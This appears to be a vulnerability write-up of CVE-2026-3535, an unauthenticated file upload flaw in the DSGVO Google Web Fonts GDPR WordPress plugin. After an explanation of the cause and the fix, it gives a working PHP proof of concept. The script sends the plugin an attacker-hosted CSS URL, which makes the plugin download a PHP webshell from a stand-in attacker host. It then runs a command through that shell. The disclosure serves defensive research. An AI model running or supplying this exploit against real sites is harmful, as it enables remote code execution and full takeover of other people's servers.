Atomic Edge analysis of CVE-2026-3535 (metadata-based): This vulnerability allows unauthenticated attackers to upload arbitrary files, including PHP webshells, to a publicly accessible directory via the DSGVO Google Web Fonts GDPR plugin for WordPress. The plugin version 1.1 and earlier is affected. The CVSS score is 9.8, indicating critical severity.
The root cause, inferred from CWE-434 and the description, is the lack of file type validation in the DSGVOGWPdownloadGoogleFonts() function. The function accepts a user-supplied URL via the ‘fonturl’ parameter, fetches it as CSS, extracts URLs from the CSS content, and downloads those files. The function does not validate the file extension or content type of the downloaded files. Atomic Edge research confirms that the exploitation path is clear from the description, but we have not confirmed the exact code implementation since no source diff is available.
Exploitation requires an unauthenticated attacker to send a POST request to /wp-admin/admin-ajax.php with action=dsgvogwp_download_google_fonts or a similar AJAX hook derived from the plugin slug. The attacker provides a ‘fonturl’ parameter pointing to a malicious CSS file hosted on a server they control. That CSS file contains a URL to a PHP webshell (e.g., shell.php). The plugin downloads the webshell to a publicly accessible directory, typically /wp-content/uploads/. The attacker can then access the webshell to execute arbitrary commands. The exploit requires the site to use one of several specific themes: twentyfifteen, twentyseventeen, twentysixteen, storefront, salient, or shapely. This requirement likely stems from the plugin only activating the download functionality on those themes.
The fix must add file type validation before saving downloaded files. The plugin should check the file extension against an allowlist (e.g., .woff, .woff2, .ttf) and verify the file’s MIME type using WordPress functions like wp_check_filetype() and wp_check_filetype_and_ext(). Additionally, the plugin should restrict the download to a predefined set of allowed domains or validate that the source URL contains only allowed font file extensions. The AJAX handler should also enforce a nonce check to prevent cross-site request forgery, though the primary issue is the missing file type validation.
Successful exploitation leads to remote code execution. An attacker can upload a PHP webshell to the WordPress server. They can then access the webshell to execute system commands, read or modify the WordPress database, install backdoors, or pivot to other internal systems. This compromises the confidentiality, integrity, and availability of the affected site and potentially the server.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-3535 - DSGVO Google Web Fonts GDPR <= 1.1 - Unauthenticated Arbitrary File Upload via 'fonturl' Parameter
<?php
// Configuration
$target_url = 'http://example.com'; // Base URL of the WordPress site (no trailing slash)
$attacker_css_url = 'http://attacker.com/exploit.css'; // URL to attacker-controlled CSS file
$webshell_url = 'http://attacker.com/shell.php'; // URL to the PHP webshell that will be downloaded
// Define the AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Step 1: Create a malicious CSS file on a local test server (for demonstration, we assume the attacker hosts this)
// The CSS file should contain a URL directive pointing to the PHP webshell, e.g.,
// @font-face { src: url('http://attacker.com/shell.php'); }
// For this PoC, we directly send the fonturl parameter to the vulnerable endpoint.
// Step 2: Send the AJAX request with the fonturl parameter pointing to the attacker's CSS
$post_data = array(
'action' => 'dsgvogwp_download_google_fonts', // Inferred AJAX action from plugin slug and function name
'fonturl' => $attacker_css_url
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP response code: " . $http_code . "n";
echo "Response body: " . $response . "n";
// Step 3: The plugin downloads the webshell from the CSS's extracted URL.
// The webshell is saved to the WordPress uploads directory.
// Expected path: /wp-content/uploads/shell.php
// Access the webshell
$webshell_path = $target_url . '/wp-content/uploads/shell.php';
$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, $webshell_path . '?cmd=id');
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch2, CURLOPT_SSL_VERIFYHOST, 0);
$output = curl_exec($ch2);
$http_code2 = curl_getinfo($ch2, CURLINFO_HTTP_CODE);
curl_close($ch2);
echo "Webshell HTTP code: " . $http_code2 . "n";
if ($http_code2 == 200 && !empty($output)) {
echo "Webshell output: " . $output . "n";
echo "[+] Exploit successful: Remote code execution achieved.n";
} else {
echo "[-] Could not access webshell. Check if the CSS URL and webshell URL are correct.n";
}
?>